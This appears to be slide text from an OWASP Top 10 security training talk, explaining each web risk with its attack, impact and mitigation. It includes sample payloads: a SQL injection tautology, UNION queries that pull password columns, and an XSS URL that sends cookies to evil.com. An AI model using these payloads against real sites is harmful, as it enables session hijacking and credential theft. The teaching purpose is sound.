The document discusses the top 10 security risks as defined by OWASP: injection, XSS, broken authentication, insecure direct object references, CSRF, security misconfiguration, insecure cryptographic storage, failure to restrict URL access, insufficient transport layer protection, and unvalidated redirects and forwards. For each risk, the document explains what it is, why it is a risk, and how it can be mitigated through secure coding practices. The presenter is identified as an Austin OWASP board member who leads security training and runs a security consulting business.

1. What are they?
Why do attackers use them?
How can we protect against them?
By: Ben Broussard

2. Who is Ben Broussard?
 Austin OWASP board member
 Fearless leader of OWASP Study Group (free training!)
 President of Kedalion Security, LLC.
 Background:
 BS in Mathematics from UT Austin (crypto)
 Mainframe and web app programmer for UT
 Web app security interest led to OWASP involvement
 OWASP involvement led to Infosec career (Kedalion)
 Gymnastics, AI, Braainnsss, Simulations, Kung Fu,
Mathlete, Bboy, Foodie, and more!

3. TOP 10
1. Injection 6. Security
2. Cross-Site Scripting
Misconfiguration
(XSS) 7. Insecure Cryptographic
3. Broken Authentication
Storage
and Session 8. Failure to Restrict URL
Management Access
4. Insecure Direct Object 9. Insufficient Transport
Reference Layer Protection
5. Cross-Site Request 10. Unvalidated Redirects
Forgery (CSRF) and Forwards

4. 1. Injection
 SQL:
 query = “SELECT * FROM table WHERE column =
„“ + input + “‟;”
 Attacker’s input: x‟ or „x‟=„x
 Resulting query: SELECT * FROM table WHERE
column = „x‟ or „x‟=„x‟;
 Other types of injection include XML, Command, and
anywhere untrusted input is placed in an eval-like
statement.

5. 1. Injection (cont.)
 Why: These attacks inject code into the running
program. What could the program do? That is what
injected code can do.
 How: Depends on the platform. Best solution is
Parameterized Queries. Don’t treat data like code.
Don’t put data in the equivalent of an eval statement.

6. 2. Cross-Site Scripting
 There are fewer flavors of jelly beans.
 Reflected vs Persistent or Stored
 Attack could be a link to be clicked on, or part of an
open redirect, or any clever scheme the attacker
dreams up:
 Attack URL:
www.example.com/search?query=<script>document
.location = “evil.com?cookie=“ +
document.cookie;</script>

7. 2. Cross-Site Scripting (cont.)
 Why: An attacker can steal cookies and masquerade as
the victim, make the victim site look like anything,
and take many actions that the victim can such as
submitting forms.
 How: Entity encoding. This is how a technical blog
shows HTML code without the browser executing that
code. ‘<‘ becomes ‘&lt;’ and the browser shows it as ‘<‘.

8. 3. Broken Authentication and
Session Management
 This issue is common because it is difficult:
 Highly technical involving cookie intricacies, the
request-response model, the same-origin policy,
cryptography and more
 Attacks include session fixation, cookie generation or
brute-forcing, direct browsing, forced logout/lockout,
open redirects, cookie capture, CSRF, inadequate
logout, password reset/account creation, user
enumeration, and much more

9. 3. Broken Authentication and
Session Management (cont.)
 Why: These attacks allow attackers to take actions as
valid users and attack users directly.
 How: This is hard. If possible use a standard library. If
not, make sure you cover cryptographic cookie
strength, a framework that covers all pages that
require authentication, noncing, SSL, refreshing the
cookie upon login, and pay special attention to
account creation, password reset, logout/lockout, and
re-login.

10. 4. Insecure Direct Object Reference
 www.example.com/cart.php?cartid=413
 Change cartid=413 to cartid=412
 Due to a lack of Authorization checking
 Systemic of trusting the client
 Surprisingly common and the easiest vulnerability to
exploit

11. 4. Insecure Direct Object Reference
(cont.)
 Why: An attacker can access other users’ sensitive data
and often take actions as other users.
 How: Implement proper Authentication and validate
user input. This issue implies a lack of developer
security training, as it is the most obvious
vulnerability, and shows that the developer trusts the
client to enforce user actions. Is there a hidden price
field, too?

12. 5. Cross-Site Request Forgery
 This attack is complex to understand but simple to
execute and extremely common.
 Pieces:
 Cookies are sent with every request to the domain they
are set for. This is how login is maintained.
 HTML pages cause your browser to make many
requests: images, scripts, redirects, iframes, etc.
 Your browser can be forced to send a request that takes
an action to a domain you are logged into.

13. 5. Cross-Site Request Forgery
(cont.)
 Why: Attackers can force logged in users to take
actions: password update, funds transfer, grant
privileges, update direct deposit info, anything
 How: Make sure no XSS exists on domain or any
subdomains. Implement a nonce system (tied to the
user) on forms which take actions. This way, only
requests that contain the nonce are valid. Stops an
attacker from crafting a valid request to force your
browser to make.

14. 6. Security Misconfiguration
 Examples include:
 Default accounts
 Lack of SSL
 Enabled insecure features (php include, SSI)
 Out of date patch levels (IIS 6 or below, old Tomcat)
 Web server running as root with execution rights to
upload directories
 This is a very broad category

15. 6. Security Misconfiguration (cont.)
 Why: Often these lead to shell upload and complete
compromise, but the vulnerability depends on the
misconfigured functionality.
 How: Procedures are the answer here. Have a review
process for all implemented technologies and a patch
process with quick turnover. This category is too broad
for a good answer.

16. 7. Insecure Cryptographic Storage
 The number one issue here is lack of proper password
storage. Plaintext passwords are the opposite of
defense in depth.
 SQL injection attack to get passwords:
 x‟ UNION SELECT column_name, table_name,
null, …, null FROM information_schema.columns
WHERE column_name LIKE „%pass%‟;--
 x‟ UNION SELECT passwd, null, …, null FROM
user_details1;--

17. 7. Insecure Cryptographic Storage
(cont.)
 Why: Sensitive data is an attacker’s goal. If they
succeed at their goal of obtaining access, that doesn’t
mean that have the data. If it isn’t properly encrypted,
then it does.
 How: Encrypt sensitive data. Enforce proper key
management.

18. 8. Failure to Restrict URL Access
 This is really failure to validate Authorization on every
page.
 Most common for static pages which should require
Authorization such as access to a blog, sensitive
document, or downloadable materials.
 Less common for dynamic pages, since user details
need to be taken into account to create the dynamic
page.

19. 8. Failure to Restrict URL Access
(cont.)
 Why: Bypassing authorization allows an attacker to
take actions or view data they wouldn’t otherwise be
able to take. The value of these actions or data is the
value of this attack.
 How: Implement Authentication validation in a
framework sort of way. Page-by-page makes it easy to
leave pages out. Opt-out Authorization checking as
opposed to opt-in.

20. 9. Insufficient Transport Layer
Protection
 Lack of SSL
 For request containing credentials
 For request to get login page
 For any page after login (session cookies, firesheep)
 For any page containing authentication details (pre-
login session cookie or cart id)
 Any time sensitive data is being submitted (sometimes
login isn’t required to submit a form, but SSL may be)
 Other protocols too: SSH, SFTP, VPN, etc.

21. 9. Insufficient Transport Layer
Protection (cont.)
 Why: Grabbing cookies allows an attacker to
masquerade as a valid user. Grabbing data is pretty
much the point.
 How: Implement SSL everywhere it is needed,
including pre-logon areas if there is a pre-logon
session. Disable port 80 if possible. Make sure that
cookies have the “Secure” flag on them.

22. 10. Unvalidated Redirects and
Forwards
 Redirects are a necessity:
 Login after session timeout
 Many forms validate input and redirect to next step
 Retired pages and sites redirect to the new location
 If user input is used as the redirection location and
can be any location on the Internet, then an attacker
can:
 Craft a better phishing attack (to deliver malware or
gather credentials)
 Bypass referer checking for CSRF attacks

23. 10. Unvalidated Redirects and
Forwards (cont.)
 Why: Plausability: their fishing attacks contain links
to trusted sites. Also, the site may accept requests that
it forces users to make more readily.
 How: Validate redirection locations. There is rarely
cause for a fully dynamic redirect. Use POST requests
for requests that take actions or change data (like W3C
says to).

24. Questions?
1. Injection 6. Security
2. Cross-Site Scripting
Misconfiguration
(XSS) 7. Insecure Cryptographic
3. Broken Authentication
Storage
and Session 8. Failure to Restrict URL
Management Access
4. Insecure Direct Object 9. Insufficient Transport
Reference Layer Protection
5. Cross-Site Request 10. Unvalidated Redirects
Forgery (CSRF) and Forwards

25. The only bull here is mechanical